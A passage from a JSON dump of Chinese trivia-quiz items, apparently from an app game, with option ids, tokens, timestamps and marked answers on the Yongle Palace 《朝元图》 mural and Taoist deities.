04:44:59","status":"1"},{"questionId":"1901441702","questionIndex":"4","questionStem":"《朝元图》中有几位主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVP1dXlbzP1UHqm59v\",\"optionDesc\":\"八位\"},{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVPcbCov9JryL8fLrF\",\"optionDesc\":\"三位\"},{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVPFff4XqToBBFD8zw\",\"optionDesc\":\"四位\"}]","questionToken":"Ks0Sx0BXjjmvIOUwY-MOakFYMNcL4DrtVblyr8WSBl--cn7ocqinpdal4tHRKMJ2dS0FR0kiQHMwhSgS-fYeqm8SO5QQ4w","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVP1dXlbzP1UHqm59v\",\"optionDesc\":\"八位\"}","create_time":"27/1/2021 04:38:09","update_time":"27/1/2021 04:38:09","status":"1"},{"questionId":"1901441703","questionIndex":"3","questionStem":"《朝元图》中的神仙在做什么?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVPbueQ8EL2hb4t2g\",\"optionDesc\":\"朝拜元朝统治者\"},{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVP6wI4VWvdo4hzXg\",\"optionDesc\":\"朝拜元始天尊\"},{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVPPDCQqaOpqGG5Ks\",\"optionDesc\":\"朝贺元旦\"}]","questionToken":"Ks0Sx0BXjjmvIeU3Y-MOaull00vMLH8_139kq5wfuyS7OJu5Fd92N5OnaPfBe4AZwb0dz5bQ3heWBRT_8_kki8UsFE57Gg","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVP6wI4VWvdo4hzXg\",\"optionDesc\":\"朝拜元始天尊\"}","create_time":"27/1/2021 04:51:26","update_time":"27/1/2021 04:51:26","status":"1"},{"questionId":"1901441704","questionIndex":"3","questionStem":"《朝元图》中没有以下哪位神仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVPKaDNXX6O4EUlyo\",\"optionDesc\":\"雷神\"},{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVP9J944sUhYEEe-g\",\"optionDesc\":\"齐天大圣\"},{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVPZ4gSdqWwI_2YT4\",\"optionDesc\":\"后土娘娘\"}]","questionToken":"Ks0Sx0BXjjmvJuU3Y-MOanEJl7eslG5yx4dg3o4E_MscpQW7PQiQqU8pcB3tUfv3-LaAk0XQA1RskSf_22cTkid1VpOEPA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVP9J944sUhYEEe-g\",\"optionDesc\":\"齐天大圣\"}","create_time":"27/1/2021 04:40:56","update_time":"27/1/2021 04:40:56","status":"1"},{"questionId":"1901441705","questionIndex":"1","questionStem":"《朝元图》中大约绘制了多少神仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPHDIzMfdyfVLl-RF\",\"optionDesc\":\"800位\"},{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPX4HrvxnzDEF-YZO\",\"optionDesc\":\"100位\"},{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPy6ext_oi01koRcS\",\"optionDesc\":\"300位\"}]","questionToken":"Ks0Sx0BXjjmvJ-U1Y-MOaieU1nvHn75aFHSk7XA-OrwwJHb6lm94QI7TI3MgVYptREfGRRiNG2Wupb4VBZ8juqACbmG_pA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPy6ext_oi01koRcS\",\"optionDesc\":\"300位\"}","create_time":"27/1/2021 04:40:13","update_time":"27/1/2021 04:40:13","status":"1"},{"questionId":"1901441706","questionIndex":"1","questionStem":"传说中玉皇大帝与王母娘娘是什么关系?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVP2ydvsHFzfnsRja9_A\",\"optionDesc\":\"同事关系\"},{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVPNhZZhCwsTQ6GV5bkg\",\"optionDesc\":\"兄妹关系\"},{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVPe883FpYFPuMwrjh8w\",\"optionDesc\":\"夫妻关系\"}]","questionToken":"Ks0Sx0BXjjmvJOU1Y-MObWO9JK2qFGiAR38tJJTPrFo7-cd_U2TTnugZ6l8OMjN4S_KiBeMvIqjMy5e5gamqqwiwgasQbQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVP2ydvsHFzfnsRja9_A\",\"optionDesc\":\"同事关系\"}","create_time":"27/1/2021 04:51:29","update_time":"27/1/2021 04:51:29","status":"1"},{"questionId":"1901441707","questionIndex":"5","questionStem":"哪位天庭武将是“北方四圣”中的一员?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVPG_oEFjHx1PXJD3C\",\"optionDesc\":\"卷帘大将\"},{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVPVBBTxL49FIAhErm\",\"optionDesc\":\"托塔天王\"},{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVP7aWhuwHYImI8Yhi\",\"optionDesc\":\"天蓬元帅\"}]","questionToken":"Ks0Sx0BXjjmvJeUxY-MObTYaTXY7IiFIWWzHdAv0LZH44w2YNBUM_pBLXfqUkKyudmCXSt_sE1pqdzPoUEzmu1ods5Y05Q","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVP7aWhuwHYImI8Yhi\",\"optionDesc\":\"天蓬元帅\"}","create_time":"27/1/2021 04:43:54","update_time":"27/1/2021 04:43:54","status":"1"},{"questionId":"1901441708","questionIndex":"4","questionStem":"《朝元图》中哪个神仙有六只眼睛?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVP4-nw4PtNKMsHlp3\",\"optionDesc\":\"仓颉\"},{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVPJDpHOdLv2cfBwQ9\",\"optionDesc\":\"紫光夫人\"},{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVPbJJZkBy3pJFptoz\",\"optionDesc\":\"孔子\"}]","questionToken":"Ks0Sx0BXjjmvKuUwY-MOasKwDIKi6F6ZgOH5dtJeOcsLpjvmPQyO7WQpkyAdFfcJXvVyZwKsymtGmJ8i7-OF-NaY1kcGCg","correct":"{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVP4-nw4PtNKMsHlp3\",\"optionDesc\":\"仓颉\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"1901441709","questionIndex":"1","questionStem":"《朝元图》中的财神是哪一位?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVPYRKc5S3RN6d4vzlZA\",\"optionDesc\":\"武财神关羽\"},{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVP75qR9gKnwmLmr0LDA\",\"optionDesc\":\"赵公明\"},{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVPMg-M_jgZIbIZYQGRQ\",\"optionDesc\":\"比干\"}]","questionToken":"Ks0Sx0BXjjmvK-U1Y-MOam062GXTq-n_3l5uUMFGXIrpmBWQ7lwR1IVf1KgLffmwHUfymyOD_3FXbUkDs4x6FpayMr2ACQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVP75qR9gKnwmLmr0LDA\",\"optionDesc\":\"赵公明\"}","create_time":"27/1/2021 04:32:53","update_time":"27/1/2021 04:32:53","status":"1"},{"questionId":"1901441710","questionIndex":"3","questionStem":"传说中文昌帝君能够保佑什么?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPfObyM8cfHzE7p5tuA\",\"optionDesc\":\"身体健康\"},{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPwDx3KS2XnOOCm2rhg\",\"optionDesc\":\"功名利禄\"},{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPDeMo62U1b0859pLDg\",\"optionDesc\":\"爱情婚姻\"}]","questionToken":"Ks0Sx0BXjjmuIuU3Y-MOahvFMpgUGD-HZhVnQw0nVghB3nmyUZ7vZHEzPGdpWwHtraj_xjQ7TwRILHgoHwUhrvjwojrCWg","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPwDx3KS2XnOOCm2rhg\",\"optionDesc\":\"功名利禄\"}","create_time":"27/1/2021 04:36:54","update_time":"27/1/2021 04:36:54","status":"1"},{"questionId":"1901441711","questionIndex":"3","questionStem":"哪个和太乙相关的神仙没有出现在朝元图中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVP9FGjxJi6lSMAP9frQ\",\"optionDesc\":\"太乙真人\"},{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVPH3LLFcwcQb4dLhhfQ\",\"optionDesc\":\"太乙神\"},{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVPeu9YUZnlG-RRVi1-A\",\"optionDesc\":\"太乙救苦天尊\"}]","questionToken":"Ks0Sx0BXjjmuI-U3Y-MObXAc-NiXGbyfribzZ_0zpsaaoH-9TtsQjbbUvGRsgZ08MXpED7wx_1ZMpOmH7T6lx86_p3bF1A","correct":"{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVP9FGjxJi6lSMAP9frQ\",\"optionDesc\":\"太乙真人\"}","create_time":"27/1/2021 04:34:25","update_time":"27/1/2021 04:34:25","status":"1"},{"questionId":"1901441712","questionIndex":"5","questionStem":"福禄寿三星中长着硕大脑门的长者是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVPY3Zwy9CA6qyCRuM\",\"optionDesc\":\"福星\"},{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVP0rrzA-eax904e_9\",\"optionDesc\":\"寿星\"},{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVPIBj5TGntSpDddnV\",\"optionDesc\":\"禄星\"}]","questionToken":"Ks0Sx0BXjjmuIOUxY-MObXikxUnE8jOhFQw_mgjTKmg0kOWMjxeOmg9IbR0fqdC5hQNti1hbBllyli68SCaiOkxhC5hxVQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVP0rrzA-eax904e_9\",\"optionDesc\":\"寿星\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"1901441713","questionIndex":"3","questionStem":"以下哪个法器没有出现在《朝元图》壁画中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPxKmgYEj4pyfr80\",\"optionDesc\":\"轮盘\"},{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPRI4URnfXhMB5OM\",\"optionDesc\":\"七宝炉\"},{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPIk27JzT4s6rx-0\",\"optionDesc\":\"琵琶\"}]","questionToken":"Ks0Sx0BXjjmuIeU3Y-MOba3nZTwvt0PzFIUoxkInXnkx9-9ccPVVcoz-Vehrg2fXoBJKQfEvPFxTpa3UVZDyRmsY9lmwKw","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPxKmgYEj4pyfr80\",\"optionDesc\":\"轮盘\"}","create_time":"27/1/2021 04:51:12","update_time":"27/1/2021 04:51:12","status":"1"},{"questionId":"1901441714","questionIndex":"3","questionStem":"以下哪个神兽没有出现在《朝元图》壁画中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPUaeyg3nni-gQL6C\",\"optionDesc\":\"凤凰\"},{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPxboESaPlnJx2HLl\",\"optionDesc\":\"麒麟\"},{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPHvwSRMfCJ59QFgr\",\"optionDesc\":\"龙\"}]","questionToken":"Ks0Sx0BXjjmuJuU3Y-MObe8Eu8-2_2fAqTWgP6i6fsK4c9z73hVw8eSHl6oduHuJlLEFmlKetv2Dw-BMTra9jxjb-w-mdg","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPxboESaPlnJx2HLl\",\"optionDesc\":\"麒麟\"}","create_time":"27/1/2021 04:47:59","update_time":"27/1/2021 04:47:59","status":"1"},{"questionId":"1901441715","questionIndex":"3","questionStem":"《朝元图》八大主神中有几位女性主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVP9EnqSrLZ9qH-xywrA\",\"optionDesc\":\"两位\"},{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVPWcjAzeAgDN-u64EtA\",\"optionDesc\":\"一位\"},{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVPKECW7oqSEMPE9DorQ\",\"optionDesc\":\"三位\"}]","questionToken":"Ks0Sx0BXjjmuJ-U3Y-MOanyAns5TTJSRauzj6F5VYmGEbntZh-NmAl_POZ76dAX349fkH8_-i-5bxVh94exvuBKFvPF4og","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVP9EnqSrLZ9qH-xywrA\",\"optionDesc\":\"两位\"}","create_time":"27/1/2021 04:44:19","update_time":"27/1/2021 04:44:19","status":"1"},{"questionId":"1901441716","questionIndex":"5","questionStem":"以下哪位不属于永乐宫《朝元图》八大主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVPX0VLaYTMYxxavqN\",\"optionDesc\":\"王母娘娘\"},{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVP26U2e6FEF_jDE59\",\"optionDesc\":\"月神\"},{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVPHkMRvcvItLmiTMf\",\"optionDesc\":\"后土娘娘\"}]","questionToken":"Ks0Sx0BXjjmuJOUxY-MOba4Xbwc_Rs0PFOQa5sD6LsCOzymh-cKElTy4tZxSbvYqTYJf4c2gHmIalUP1BlkRU1AEawSB3A","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVP26U2e6FEF_jDE59\",\"optionDesc\":\"月神\"}","create_time":"27/1/2021 04:50:50","update_time":"27/1/2021 04:50:50","status":"1"},{"questionId":"1901441717","questionIndex":"2","questionStem":"永乐宫中的仙女(玉女)是通过什么命名的?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVPYHOWOjvEJpzG7Pd\",\"optionDesc\":\"她们的官职\"},{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVP8Kna_yJKy4KGclr\",\"optionDesc\":\"她们手上的宝物\"},{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVPM6zvWZ8tb3mMW7j\",\"optionDesc\":\"她们的头饰\"}]","questionToken":"Ks0Sx0BXjjmuJeU2Y-MOaph8C5S33R3Hh7jYe9tRzz6TZFKe6i9okrNhAQfw-hHjue-ook1HXh_XkCXv0jeV4iBBh5iiVA","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVP8Kna_yJKy4KGclr\",\"optionDesc\":\"她们手上的宝物\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"1901441718","questionIndex":"3","questionStem":"永乐宫《朝元图》壁画中的两位前导仙官是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVPL8pw9L4plaeKbPAvw\",\"optionDesc\":\"天蓬天猷\"},{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVPXFxD33dLNGzcU0LGg\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVP7-H9Lcyh3FQw-I-Vw\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"Ks0Sx0BXjjmuKuU3Y-MObetPl-lkKA5JCUO-cVXcl50a4Dxmc4TZn6P0Aqw_R_qpKqBkT4zSe_SjSNeQva00G1cDXe0KDw","correct":"{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVP7-H9Lcyh3FQw-I-Vw\",\"optionDesc\":\"青龙白虎\"}","create_time":"27/1/2021 04:39:23","update_time":"27/1/2021 04:39:23","status":"1"},{"questionId":"1901441719","questionIndex":"1","questionStem":"哪位儒家人物出现在了永乐宫《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPIdQIHUw_WchQ7e1XA\",\"optionDesc\":\"孟子\"},{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPxoQwMOTlmNNFtZ1Dw\",\"optionDesc\":\"孔子\"},{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPd2B0m61EQPfesS7jw\",\"optionDesc\":\"董仲舒\"}]","questionToken":"Ks0Sx0BXjjmuK-U1Y-MObdrzw-4AA4uFroi5mrIvFkOD3GoA7pylN0Y-A8OnhWsevgrB0B7p17x4OxLQzjOtaZg3gIQCsQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPxoQwMOTlmNNFtZ1Dw\",\"optionDesc\":\"孔子\"}","create_time":"27/1/2021 03:36:31","update_time":"27/1/2021 03:36:31","status":"1"},{"questionId":"1901441720","questionIndex":"5","questionStem":"“北极四圣”中的谁成为了“大帝”?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVPKw9I1jHLE91UNs\",\"optionDesc\":\"黑煞真君\"},{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVPZVbap7pKmPg6RA\",\"optionDesc\":\"天蓬元帅\"},{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVP38HITTk8hJYFT0\",\"optionDesc\":\"真武真君\"}]","questionToken":"Ks0Sx0BXjjmtIuUxY-MOahS0F2WoqNHwxgKiqyqv0weWd3Jqf534ZRTzoilzdX82U-xiZnbRyyy062gp6Te5Kt5Bfv60KA","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVP38HITTk8hJYFT0\",\"optionDesc\":\"真武真君\"}","create_time":"27/1/2021 04:40:57","update_time":"27/1/2021 04:40:57","status":"1"},{"questionId":"1901441721","questionIndex":"1","questionStem":"《朝元图》中王母娘娘头上的卦象是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVP6pOHKJcyddo8rVc\",\"optionDesc\":\"坤\"},{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVPdxoH2vK515XecRO\",\"optionDesc\":\"A. 乾\"},{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVPEjU7h6f9ogcBErI\",\"optionDesc\":\"巽\"}]","questionToken":"Ks0Sx0BXjjmtI-U1Y-MObX80e9X0Hadx4R8yYUUO08_i2P4UoT-6K5xcdD8Yow7RrZ_EC4P10bvqMHE2GY-WaAPXlLh8VQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVP6pOHKJcyddo8rVc\",\"optionDesc\":\"坤\"}","create_time":"27/1/2021 04:46:04","update_time":"27/1/2021 04:46:04","status":"1"},{"questionId":"1901441722","questionIndex":"5","questionStem":"\"一人得道鸡犬升天\"与哪位神仙的传说有关?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPydm3kr-gZRLEWgA\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPCrqZYtL3wdGAsH-\",\"optionDesc\":\"太乙天尊\"},{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPYmVeDhfCaoDyaOr\",\"optionDesc\":\"吕洞宾\"}]","questionToken":"Ks0Sx0BXjjmtIOUxY-MOauqcZPuFTkoA21h9B9u92-TQPxYHl0YxakFhpqRzOrcIpEO4dyCICpO67tNxv8v3gzoSEpk6mw","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPydm3kr-gZRLEWgA\",\"optionDesc\":\"玉皇大帝\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"1901441723","questionIndex":"1","questionStem":"下列哪个不是王母娘娘的称号?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPF5YlHNxPJzOqwv_\",\"optionDesc\":\"金元圣母\"},{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPTmwupfZ-2Vc7Itg\",\"optionDesc\":\"西王母\"},{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPwgHp1zauhhyfCjF\",\"optionDesc\":\"后土皇地祇\"}]","questionToken":"Ks0Sx0BXjjmtIeU1Y-MObW1Jwjy2VOOm2PrNY4IzCSy-Mxdbx6GEoqpuAbGIetxwVzu8h7cd3Bfdawy56jmEYexqBI6Vzg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPwgHp1zauhhyfCjF\",\"optionDesc\":\"后土皇地祇\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"1901441724","questionIndex":"1","questionStem":"传说中以下哪个方面不归王母娘娘掌管?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVPdNbOqh5_uhreYV_\",\"optionDesc\":\"仙女仙籍\"},{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVPI7aGctv11wan02x\",\"optionDesc\":\"长生不老药\"},{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVP7JdlYuoX_MqE8SU\",\"optionDesc\":\"女红\"}]","questionToken":"Ks0Sx0BXjjmtJuU1Y-MObbW-U5lsNIwXsMaGaZsxRmkiVIM2KofNM1sA39qGJERy7u-RTV_rHBXZEkVHwMCcl7sH-Rm6gg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVP7JdlYuoX_MqE8SU\",\"optionDesc\":\"女红\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"1901441725","questionIndex":"2","questionStem":"以下哪个组合不在《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVP3yODuScInsv0JQ\",\"optionDesc\":\"天龙八部\"},{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVPL4V-ACY-HUUqxc\",\"optionDesc\":\"三十二帝君\"},{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVPXOeDJBFfdivg9M\",\"optionDesc\":\"南斗六星\"}]","questionToken":"Ks0Sx0BXjjmtJ-U2Y-MOarse4qjCpK72FkIVH7SEQ4BvA52jQBOYQCJOJVeb0rJB88hE74BpQrxqE2p4_zsEwFDZnBlAuw","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVP3yODuScInsv0JQ\",\"optionDesc\":\"天龙八部\"}","create_time":"27/1/2021 04:48:47","update_time":"27/1/2021 04:48:47","status":"1"},{"questionId":"1901441726","questionIndex":"5","questionStem":"织女星位于二十八星宿中的哪个?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVPaM3NeGG1vThVnVs\",\"optionDesc\":\"斗宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVPJ3XCOcXlbItYjNp\",\"optionDesc\":\"女宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVP7NWlhKX3uylsmU4\",\"optionDesc\":\"牛宿\"}]","questionToken":"Ks0Sx0BXjjmtJOUxY-MObXQSv7PRyqZH5H0o4PhB3Ho6q8zxBbhdJmkLkfASkeZzjXm0ZsjyUfreSMR-JX8VY-lbW2V4MA","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVP7NWlhKX3uylsmU4\",\"optionDesc\":\"牛宿\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"1901441727","questionIndex":"2","questionStem":"《朝元图》中有文曲星位于哪个星官组合中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPzs65AYgsQizpBXuGQ\",\"optionDesc\":\"北斗七星\"},{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPZvEBENz9EsnawUkAQ\",\"optionDesc\":\"二十八星宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPF9d9WLNTiEz93-ebg\",\"optionDesc\":\"南斗六星\"}]","questionToken":"Ks0Sx0BXjjmtJeU2Y-MOas8VlXqvyl7JtU8joc8KBi3TFp_Ryq5oNGlH1Dne73BO5Ci4XJvuznZAjWyZe0PPeFa47QMKpQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPzs65AYgsQizpBXuGQ\",\"optionDesc\":\"北斗七星\"}","create_time":"27/1/2021 04:42:39","update_time":"27/1/2021 04:42:39","status":"1"},{"questionId":"1901441728","questionIndex":"2","questionStem":"永乐宫《朝元图》中金星拿的法器是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVPE17J2f_lTd2mfBa\",\"optionDesc\":\"古筝\"},{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVP_DpaNTtP_2OGleH\",\"optionDesc\":\"琵琶\"},{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVPeCxa_OG4SIStsgq\",\"optionDesc\":\"笛子\"}]","questionToken":"Ks0Sx0BXjjmtKuU2Y-MOalC-7GtgSncco1F9lf5LKjGGIPFsktd-TDN-n7lGqwfzPdvSBOSumxdIEQRvLDFmyGeorkV8Lg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVP_DpaNTtP_2OGleH\",\"optionDesc\":\"琵琶\"}","create_time":"27/1/2021 04:49:35","update_time":"27/1/2021 04:49:35","status":"1"},{"questionId":"1901441729","questionIndex":"5","questionStem":"《朝元图》中雷公、电母、雨师属于?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPQVRdoUCfmL8zC45\",\"optionDesc\":\"二十八星宿\"},{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPGFE3vgKdmuK1VkU\",\"optionDesc\":\"十二元神\"},{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPzzGiXkO5jNCVJIh\",\"optionDesc\":\"雷部诸神\"}]","questionToken":"Ks0Sx0BXjjmtK-UxY-MOagRLM1GI0gYBsaDCzAz1Rp-x5i-qaIpS1hDhRu4TbkomzkXjYhLDSlpvKo9pxWpeif1-UwQaAQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPzzGiXkO5jNCVJIh\",\"optionDesc\":\"雷部诸神\"}","create_time":"27/1/2021 04:43:52","update_time":"27/1/2021 04:43:52","status":"1"},{"questionId":"1901441730","questionIndex":"2","questionStem":"道教神话中,生下玉皇大帝的女神是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVPG0JlKW5TVDz9dx9\",\"optionDesc\":\"后土娘娘\"},{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVP0PYP1YbDSBznz4F\",\"optionDesc\":\"紫光夫人\"},{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVPfsb5PhUko0tsa0g\",\"optionDesc\":\"王母娘娘\"}]","questionToken":"Ks0Sx0BXjjmsIuU2Y-MOakb1IFoLsbfvPh7BoPA_3-2e9zBw0EFd7Eg9GPPIEDcnW16I71rEPcVO68eHT0w3qzeDm1DPnA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVP0PYP1YbDSBznz4F\",\"optionDesc\":\"紫光夫人\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"1901441731","questionIndex":"3","questionStem":"《朝元图》中十二元神的职责是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPUDS5F1wBZIT\",\"optionDesc\":\"轮值守护不同山川\"},{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPGqSqcnN45AO\",\"optionDesc\":\"轮值守护不同方位\"},{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPyP3MnmLOVmm\",\"optionDesc\":\"轮值守护不同时辰\"}]","questionToken":"Ks0Sx0BXjjmsI-U3Y-MObRrm5m8DN-2e1D9kcrrFJYuQzb1g0h7SLu0CcP4l9q7_HFopl3-LPRv-VTcuZOvmqsLrzORXJA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPyP3MnmLOVmm\",\"optionDesc\":\"轮值守护不同时辰\"}","create_time":"27/1/2021 04:39:43","update_time":"27/1/2021 04:39:43","status":"1"},{"questionId":"1901441732","questionIndex":"3","questionStem":"西游记中谁当过妖怪又作为神仙帮助过孙悟空","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPef7AQvMgFIbIqjJhw\",\"optionDesc\":\"昴日鸡\"},{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPy-k32FCPswRUMpwqg\",\"optionDesc\":\"奎木狼\"},{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPH4BdtRL-P0qwhc-Bw\",\"optionDesc\":\"角木蛟\"}]","questionToken":"Ks0Sx0BXjjmsIOU3Y-MOaoW-H20kBnczkoYV5WCx1l4OE986N266d5jUuUDM2fZyCDF-H9VnhqGbEMBhBPC0mPfNNdjLXA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPy-k32FCPswRUMpwqg\",\"optionDesc\":\"奎木狼\"}","create_time":"27/1/2021 04:00:29","update_time":"27/1/2021 